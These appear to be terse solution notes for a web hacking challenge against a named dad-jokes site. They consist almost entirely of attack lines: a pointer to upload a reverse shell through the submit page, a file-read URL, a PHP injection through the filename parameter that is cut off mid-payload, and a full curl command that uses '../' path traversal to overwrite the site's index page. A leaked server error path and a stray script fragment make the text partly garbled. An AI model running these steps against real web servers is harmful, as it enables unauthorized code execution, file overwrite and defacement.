Upload reverse shell here:http://timesink.be/dadjokes/jokes/submit.php
File Read:http://timesink.be/dadjokes/jokes/read.php?file=mugged.txt
http://timesink.be/dadjokes/jokes/submit.php?filename=%3C?php%20echo%20\
Notice: Undefined index: title in /home/kevinay5/domains/timesink.be/public_html/dadjokes/jokes/submit.php on line 47please provide a title
The Solution is to fix the Page. This gives you the solution
curl 'http://timesink.be/dadjokes/jokes/submit.php?filename=../index.html&title=index&submit=true&content=%0D%0A%3Chtml%3E%3Ctitle%3EDadJokes%2C+your+source+of+lame+dad+jokes%3C%2Ftitle%3E%3Cbody%3E%3Cdiv+align%3D%22center%22%3E%3Ch1%3EDadJokes%3C%2Fh1%3E%3Chr%3E%3Cimg+src%3D%22images%2Fbanner.png%22+alt%3D%22dadjokes%22%3E%3Cbr%3E%3Cbr%3E%3Ca+href%3D%22jokes%2Fread.php%22%3ERead+dad+jokes%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ca+href%3D%22jokes%2Fsubmit.php%22%3Esubmit+your+own+jokes%3C%2Fa%3E%3C%2Fdiv%3E%3C%2Fhtml%3E'
document.write('')